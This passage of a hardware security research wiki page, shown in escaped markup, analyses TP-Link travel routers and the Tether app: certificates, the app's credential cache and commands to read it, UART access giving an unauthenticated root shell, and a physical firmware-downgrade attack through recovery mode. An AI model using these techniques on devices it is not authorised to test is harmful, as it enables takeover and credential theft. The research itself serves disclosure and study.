&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Certificate:&lt;br /&gt;
    Data:&lt;br /&gt;
        Version: 3 (0x2)&lt;br /&gt;
        Serial Number:&lt;br /&gt;
            4f:9c:74:99:ae:d0:9c:83:47:09:0b:e1:9e:6c:d1:f7&lt;br /&gt;
        Signature Algorithm: sha256WithRSAEncryption&lt;br /&gt;
        Issuer: CN = tp-link-CA&lt;br /&gt;
        Validity&lt;br /&gt;
            Not Before: Jan 19 08:27:52 2018 GMT&lt;br /&gt;
            Not After : Jan 19 08:37:52 2068 GMT&lt;br /&gt;
        Subject: CN = tp-link-CA&lt;br /&gt;
        Subject Public Key Info:&lt;br /&gt;
            Public Key Algorithm: rsaEncryption&lt;br /&gt;
                RSA Public-Key: (2048 bit)&lt;br /&gt;
                Modulus:&lt;br /&gt;
                    00:b8:61:bc:9f:9c:c4:50:dd:63:e7:0b:af:53:3e:&lt;br /&gt;
                    29:00:83:2e:ae:12:87:6e:97:d4:52:ef:9b:d9:a7:&lt;br /&gt;
                    05:1c:a4:ba:89:4f:61:34:95:af:0f:28:57:72:28:&lt;br /&gt;
                    58:e5:6c:fa:6a:af:66:e0:3e:52:65:c8:16:de:4d:&lt;br /&gt;
                    f5:62:83:4d:b6:bc:ed:0e:37:60:da:ac:3b:01:a5:&lt;br /&gt;
                    fc:e5:2f:7d:fc:6d:01:55:b2:17:92:da:e1:b3:7e:&lt;br /&gt;
                    0e:5b:5f:56:03:f8:5a:0f:0b:ad:dd:d1:61:2d:e9:&lt;br /&gt;
                    be:80:24:51:29:45:dc:9a:ea:9c:85:97:3c:e1:d6:&lt;br /&gt;
                    3b:24:55:5f:84:f7:09:72:2e:26:b1:18:cb:08:53:&lt;br /&gt;
                    4e:d2:1a:3d:39:7f:8c:67:07:ce:e0:12:da:78:0a:&lt;br /&gt;
                    8a:56:80:28:af:aa:df:e0:15:d5:b4:ed:31:8d:81:&lt;br /&gt;
                    c3:28:ed:1f:6f:70:16:2c:b2:78:12:31:9e:ab:a6:&lt;br /&gt;
                    22:7a:a3:e2:62:53:c5:12:a4:66:e4:fa:ef:05:74:&lt;br /&gt;
                    e6:d0:8b:90:a2:0c:a0:c9:5a:4a:e0:b1:eb:fc:ad:&lt;br /&gt;
                    b4:ed:92:f2:57:7d:c3:c4:b2:db:b1:48:12:10:95:&lt;br /&gt;
                    67:a5:95:2f:fd:65:2e:8d:78:e5:20:38:31:22:fc:&lt;br /&gt;
                    99:64:26:22:5c:ed:dd:95:ed:bf:30:4b:e9:99:99:&lt;br /&gt;
                    3a:25&lt;br /&gt;
                Exponent: 65537 (0x10001)&lt;br /&gt;
        X509v3 extensions:&lt;br /&gt;
            X509v3 Key Usage:&lt;br /&gt;
                Digital Signature, Certificate Sign, CRL Sign&lt;br /&gt;
            X509v3 Basic Constraints: critical&lt;br /&gt;
                CA:TRUE&lt;br /&gt;
            X509v3 Subject Key Identifier:&lt;br /&gt;
                C6:ED:A2:05:14:EC:79:FE:62:36:7B:00:0D:58:4C:24:34:16:8B:A9&lt;br /&gt;
            1.3.6.1.4.1.311.21.1:&lt;br /&gt;
                ...&lt;br /&gt;
    Signature Algorithm: sha256WithRSAEncryption&lt;br /&gt;
         1e:76:31:a8:dd:fb:0a:37:71:be:41:b1:3a:3a:df:3d:8f:b1:&lt;br /&gt;
         b6:f2:97:80:02:31:46:b0:eb:c3:71:50:cc:ba:d4:e8:a1:c7:&lt;br /&gt;
         79:9c:2f:32:c9:aa:22:19:70:a7:8f:88:7b:24:2e:a2:c9:17:&lt;br /&gt;
         b4:1f:4f:d4:ea:8e:f8:b3:32:31:49:56:0b:0b:b9:5b:9b:50:&lt;br /&gt;
         15:ca:07:3a:b2:37:ed:ca:2a:54:1c:8b:43:ce:de:61:fe:39:&lt;br /&gt;
         b8:72:68:4e:c1:cd:5f:aa:ad:2d:cf:75:54:e0:b0:25:85:bf:&lt;br /&gt;
         c0:e4:80:b4:d1:b9:d4:96:c4:be:d5:c1:5a:1e:75:ce:e5:47:&lt;br /&gt;
         3e:44:ae:81:a0:27:7d:e7:44:60:91:d2:78:1c:5b:dd:7d:b4:&lt;br /&gt;
         b4:c0:44:34:0e:a5:42:e6:ce:e9:5c:75:67:99:80:6f:b4:3c:&lt;br /&gt;
         b5:f4:c6:32:50:22:31:44:bd:b3:b1:47:56:7e:83:13:2e:a4:&lt;br /&gt;
         1c:f4:ad:61:68:92:65:98:ad:c8:1a:f1:e5:a2:5b:38:d0:21:&lt;br /&gt;
         ad:ff:01:20:55:27:af:6c:ad:5e:fb:b6:b5:a5:7c:bb:a6:90:&lt;br /&gt;
         28:5b:5e:4f:62:eb:83:57:04:a9:dc:7b:42:66:96:5d:18:f4:&lt;br /&gt;
         e0:b5:9c:c3:ea:ad:b4:0a:9f:37:27:75:20:00:e1:f7:a3:0f:&lt;br /&gt;
         fa:8c:42:7d&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
MIIDBzCCAe+gAwIBAgIQT5x0ma7QnINHCQvhnmzR9zANBgkqhkiG9w0BAQsFADAV&lt;br /&gt;
MRMwEQYDVQQDEwp0cC1saW5rLUNBMCAXDTE4MDExOTA4Mjc1MloYDzIwNjgwMTE5&lt;br /&gt;
MDgzNzUyWjAVMRMwEQYDVQQDEwp0cC1saW5rLUNBMIIBIjANBgkqhkiG9w0BAQEF&lt;br /&gt;
AAOCAQ8AMIIBCgKCAQEAuGG8n5zEUN1j5wuvUz4pAIMurhKHbpfUUu+b2acFHKS6&lt;br /&gt;
iU9hNJWvDyhXcihY5Wz6aq9m4D5SZcgW3k31YoNNtrztDjdg2qw7AaX85S99/G0B&lt;br /&gt;
VbIXktrhs34OW19WA/haDwut3dFhLem+gCRRKUXcmuqchZc84dY7JFVfhPcJci4m&lt;br /&gt;
sRjLCFNO0ho9OX+MZwfO4BLaeAqKVoAor6rf4BXVtO0xjYHDKO0fb3AWLLJ4EjGe&lt;br /&gt;
q6YieqPiYlPFEqRm5PrvBXTm0IuQogygyVpK4LHr/K207ZLyV33DxLLbsUgSEJVn&lt;br /&gt;
pZUv/WUujXjlIDgxIvyZZCYiXO3dle2/MEvpmZk6JQIDAQABo1EwTzALBgNVHQ8E&lt;br /&gt;
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUxu2iBRTsef5iNnsADVhM&lt;br /&gt;
JDQWi6kwEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZIhvcNAQELBQADggEBAB52Majd&lt;br /&gt;
+wo3cb5BsTo63z2Psbbyl4ACMUaw68NxUMy61Oihx3mcLzLJqiIZcKePiHskLqLJ&lt;br /&gt;
F7QfT9TqjvizMjFJVgsLuVubUBXKBzqyN+3KKlQci0PO3mH+ObhyaE7BzV+qrS3P&lt;br /&gt;
dVTgsCWFv8DkgLTRudSWxL7VwVoedc7lRz5EroGgJ33nRGCR0ngcW919tLTARDQO&lt;br /&gt;
pULmzulcdWeZgG+0PLX0xjJQIjFEvbOxR1Z+gxMupBz0rWFokmWYrcga8eWiWzjQ&lt;br /&gt;
Ia3/ASBVJ69srV77trWlfLumkChbXk9i64NXBKnce0Jmll0Y9OC1nMPqrbQKnzcn&lt;br /&gt;
dSAA4fejD/qMQn0=&lt;br /&gt;
-----END CERTIFICATE-----&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; ./assets/rsa/app_public_key.pem&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;-----BEGIN PUBLIC KEY-----&lt;br /&gt;
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAviMEj2Kss5OZzWS1Qyfz&lt;br /&gt;
ErRbg9wjDRvLem1enx/cr8CvSETdMtEctRSQdwvdpOWVFEhGQXeNSbs5me55u8ZI&lt;br /&gt;
eE3ph2JOW5PU++PsnvUIqqf8AJB1h+j0DcE+7tlsLRquskpNK9p6L/ziB8s/MaeA&lt;br /&gt;
r//Nkhvdo32ax16UyzpeaOuReaLspDEHPN6+C7q6GFRZ8v0ILkQAFfGAEy94DI6Q&lt;br /&gt;
CeXwBA90zLDDwKnyFwfp6r1Yi/1pUWzyXQLKmxzZJoiYO/J16fvyR4ILqzt40fyY&lt;br /&gt;
cPsg+hpZUeGotBEt3AqTToeWPHbHKPCTgjMmYYGI0eqwbnMKKYMdZ34fViEDHhUy&lt;br /&gt;
ewIDAQAB&lt;br /&gt;
-----END PUBLIC KEY-----&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Android Cache&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;The Tether app caches username, password and other information from configured devices. These information are encrypted using an AES/CBC/PKCS7Padding (256bit) cipher.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; TP_TETHER_CACHE.DB: Model&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Java&amp;quot;&amp;gt;DEVICE                 (DEVICE_ID, MAC, USER_NAME, PASSWORD, NICK_NAME, NAME, FW_VERSION);&lt;br /&gt;
RE_EXTENDED_NETWORK    (SSID, PASSWORD);&lt;br /&gt;
&lt;br /&gt;
FUNCTION_POSITION      (DEVICE_MODEL, FUNCTION_KEY, PAGE, POSITION);&lt;br /&gt;
BSSID_RECORD           (BSSID, MODEL, HW_VERSION, FW_VERSION);&lt;br /&gt;
RE_DISTANCE_IGNORE     (DEVICE_ID, IGNORE,IGNORE_BIND);&lt;br /&gt;
DEVICE_STATISTICS      (ID, TPLINK_ID, HOST_NAME, MAC);&lt;br /&gt;
DEVICE_RATE            (MAC, TIME, HAVETRIGGER, MODELNAME, HARDWAREVERSION, FIRMWAREVERSION, APPRATEDTRACKER);&lt;br /&gt;
DEVICE_RECORD          (DEVICE_ID, INTO_PARENTAL_CONTROL_TIMES, ONEMESH_VER_TRACKED, SYSTEM_INFO_TRACKED, OPERATION_MODE_TRACKED, OPERATION_MODE_CHANGE_TRACKED);&lt;br /&gt;
CLIENTS_RECORD         (ID, MAC, DEVICE_ID, CLIENT_TRACKED, ONEMESH_AVAILABLE_DEVICE_TRACKED, ONEMESH_ADDED_DEVICE_TRACKED);&lt;br /&gt;
DEVICE_RECORE_VERSION  (DEVICE_ID, HOMECARE_VERSION_TRACKED);&lt;br /&gt;
RE_DISTANCE_IGNORE_V2  (DEVICE_ID, NEAR_IGNORE, FAR_IGNORE, HAS_POST);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; TP_TETHER_CACHE.DB: Access&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;$ cd /data/data/com.tplink.tether/databases&lt;br /&gt;
$ sqllite3 TP_TETHER_CACHE.DB&lt;br /&gt;
&lt;br /&gt;
&amp;gt; .tables&lt;br /&gt;
&amp;gt; SELECT USER_NAME, PASSWORD FROM DEVICE;&lt;br /&gt;
&lt;br /&gt;
# USER_NAME: CCB759C153B0AFFE39B6F7218238413B&lt;br /&gt;
# PASSWORD:  CCB759C153B0AFFE39B6F7218238413B&lt;br /&gt;
&lt;br /&gt;
Cipher: AES/CBC/PKCS7Padding (256bit)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Physical Intervention&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;[https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#Dissembly Dissembling] the TL-WR902AC has to be proven to be quite hard without damaging the case, and would have be even harder without the [https://fccid.io/TE7WR902ACV3/Internal-Photos/TL-WR902AC-Internal-photo-rev1-3526178.iframe internal photos] provided to the FCC, which revealed at least the position of the two clips holding the enclosure together. Additionally the top an bottom part of the case where lightly molded together. This requires the usage of some force when opening. The TL-WR802N is not molded together but hast 3 clips instead.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: Printed Circuit Board&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_PCB_Back.png|PCB Back&lt;br /&gt;
image:TL-WR902AC_V3_PCB_Front.png|PCB Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=280px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_Case_bottom.png|Bottom Case&lt;br /&gt;
image:TL-WR902AC_V3_Case_top.png|Top Case&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=550px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_Case.png|Case&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: Printed Circuit Board&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=450px&amp;gt;&lt;br /&gt;
image:TL-WR802N_V4_PCB_Back.jpg|PCB Back&lt;br /&gt;
image:TL-WR802N_V4_PCB_Front.jpg|PCB Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=480px&amp;gt;&lt;br /&gt;
image:TL-WR802N_V4_PCB_in_Case.jpg|PCB in Case&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;On-Chip Debug&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;UART&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Having a UART connection isn&#039;t necessary at any point of time, but it provides great insights on how the device operates and reacts to incomming requests. And to examine the devices&#039; runtime configuration. The UART can be easily identified by just looking at the PCB. Follow the steps in our documentations [https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#UART Firmware Acquisition Techniques] or [https://wiki.elvis.science/index.php?title=JTAGulator:_Find_IoT-Device%27s_UART_interface JTAGulator: Find IoT-Device&#039;s UART interface] for further information and guidance. Both investigated devices share the same UART configuration of &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;screen /dev/$S_INT 115200,cs8&amp;lt;/code&amp;gt;). But the bootloader uses &amp;lt;code&amp;gt;115200 (7N1)&amp;lt;/code&amp;gt;. (&amp;lt;code&amp;gt;screen /dev/$S_INT 115200,cs7&amp;lt;/code&amp;gt;).&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Both devices provide a root shell without any need of authentification.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;UART Pin Assignment&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_UART_Pin_assignment.jpg|TL-WR902AC V3&lt;br /&gt;
image:TL-WR802N_V4_UART_Pin_assignment.jpg|TL-WR802N V4&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootloader&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The examined devices both use the Universal Bootloader (U-Boot), but don&#039;t provide the means to access the U-Boot command line by my knowledge. Additionally it is require to configure the serial connection to use &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt;. The only functionality that the bootloader is able to provide is to start into recovery mode. This recovery mode allows to load an image called &amp;lt;code&amp;gt;tp_recovery.bin&amp;lt;/code&amp;gt; over FTP. To do this one need to setup a FTP server with IP address &amp;lt;code&amp;gt;192.168.0.66&amp;lt;/code&amp;gt; and connect the server to the device to recover via ethernet cable. If one has physical access to the device, one could start a downgrade attack, deploying that Firmware version 170828 which gives an attacker full control over the device without even the need to build a custom malicious image. The recovery mode can be started by pressing and holding the reset button until &amp;lt;nowiki&amp;gt;starting recovery...&amp;lt;/nowiki&amp;gt; gets displayed. This process takes about 10 seconds to start. The device will automatically continue to boot normally if no FTP server or image is found.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: Factory Reset Button behavior&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
// Factory Reset&lt;br /&gt;
resetCount ++ 0.&lt;br /&gt;
resetCount ++ 1.&lt;br /&gt;
resetCount ++ 2.&lt;br /&gt;
resetCount ++ 3.&lt;br /&gt;
resetCount ++ 4.&lt;br /&gt;
resetCount ++ 5.&lt;br /&gt;
resetCount ++ 6.&lt;br /&gt;
resetCount ++ 7.&lt;br /&gt;
resetCount ++ 8.&lt;br /&gt;
resetCount ++ 9.&lt;br /&gt;
resetCount ++ 10.&lt;br /&gt;
resetCount ++ 11.&lt;br /&gt;
resetCount ++ 12.&lt;br /&gt;
resetCount ++ 13.&lt;br /&gt;
resetCount ++ 14.&lt;br /&gt;
Factory configuration restored..&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
spiflash_ioctl_write, Write to 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
&lt;br /&gt;
... Soft Reset ...&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: Load recovery or custom image over FTP&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;U-Boot 1.1.3 (Aug 22 2017 - 09:54:30)&lt;br /&gt;
&lt;br /&gt;
Board: Ralink APSoC DRAM:  64 MB&lt;br /&gt;
relocate_code Pointer at: 83fb4000&lt;br /&gt;
******************************&lt;br /&gt;
Software System Reset Occurred &amp;lt;------------------------------------------&lt;br /&gt;
******************************&lt;br /&gt;
gpiomode1 55154444.&lt;br /&gt;
gpiomode2 05540555.&lt;br /&gt;
flash manufacture id: c8, device id 40 17&lt;br /&gt;
find flash: GD25Q64B&lt;br /&gt;
============================================&lt;br /&gt;
Ralink UBoot Version: 4.3.0.0&lt;br /&gt;
--------------------------------------------&lt;br /&gt;
ASIC 7628_MP (Port5&amp;lt;-&amp;gt;None)&lt;br /&gt;
DRAM component: 512 Mbits DDR, width 16&lt;br /&gt;
DRAM bus: 16 bit&lt;br /&gt;
Total memory: 64 MBytes&lt;br /&gt;
Flash component: SPI Flash&lt;br /&gt;
Date:Aug 22 2017  Time:09:54:30&lt;br /&gt;
============================================&lt;br /&gt;
icache: sets:512, ways:4, linesz:32 ,total:65536&lt;br /&gt;
dcache: sets:256, ways:4, linesz:32 ,total:32768&lt;br /&gt;
&lt;br /&gt;
 ##### The CPU freq = 580 MHZ ####&lt;br /&gt;
 estimate memory size =64 Mbytes&lt;br /&gt;
RESET MT7628 PHY!!!!!!..................................................  &amp;lt;---------- Contine holding reset button&lt;br /&gt;
starting recovery...&lt;br /&gt;
TODO, Read MAC Address from Flash&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 netboot_common, argc= 3&lt;br /&gt;
&lt;br /&gt;
 NetTxPacket = 0x83FE38C0&lt;br /&gt;
&lt;br /&gt;
 KSEG1ADDR(NetTxPacket) = 0xA3FE38C0&lt;br /&gt;
&lt;br /&gt;
 NetLoop,call eth_halt !&lt;br /&gt;
&lt;br /&gt;
 NetLoop,call eth_init !&lt;br /&gt;
Trying Eth0 (10/100-M)&lt;br /&gt;
&lt;br /&gt;
 Waitting for RX_DMA_BUSY status Start... done&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ETH_STATE_ACTIVE!!&lt;br /&gt;
TFTP from server &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;192.168.0.66&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;; our IP address is &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;192.168.0.2&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Filename &#039;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;tp_recovery.bin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&#039;.&lt;br /&gt;
&lt;br /&gt;
 TIMEOUT_COUNT=10,Load address: 0x80060000&lt;br /&gt;
Loading: T T T T T T T T T T                                              &amp;lt;----------- Timemout &lt;br /&gt;
Retry count exceeded; starting again&lt;br /&gt;
&lt;br /&gt;
... Loads Linux ...&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootlog&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Linux version 2.6.36 (soho@soho) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #7 Mon Aug 28 15:55:59 HKT 2017&lt;br /&gt;
&lt;br /&gt;
 The CPU feqenuce set to 575 MHz&lt;br /&gt;
&lt;br /&gt;
 MIPS CPU sleep mode enabled.&lt;br /&gt;
CPU revision is: 00019655 (MIPS 24Kc)&lt;br /&gt;
Software DMA cache coherency&lt;br /&gt;
Determined physical RAM map:&lt;br /&gt;
 memory: 04000000 @ 00000000 (usable)&lt;br /&gt;
Initrd not found or empty - disabling initrd&lt;br /&gt;
Zone PFN ranges:&lt;br /&gt;
  Normal   0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Movable zone start PFN for each node&lt;br /&gt;
early_node_map[1] active PFN ranges&lt;br /&gt;
    0: 0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init&lt;br /&gt;
PID hash table entries: 256 (order: -2, 1024 bytes)&lt;br /&gt;
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Primary instruction cache 64kB, VIPT, , 4-waylinesize 32 bytes.&lt;br /&gt;
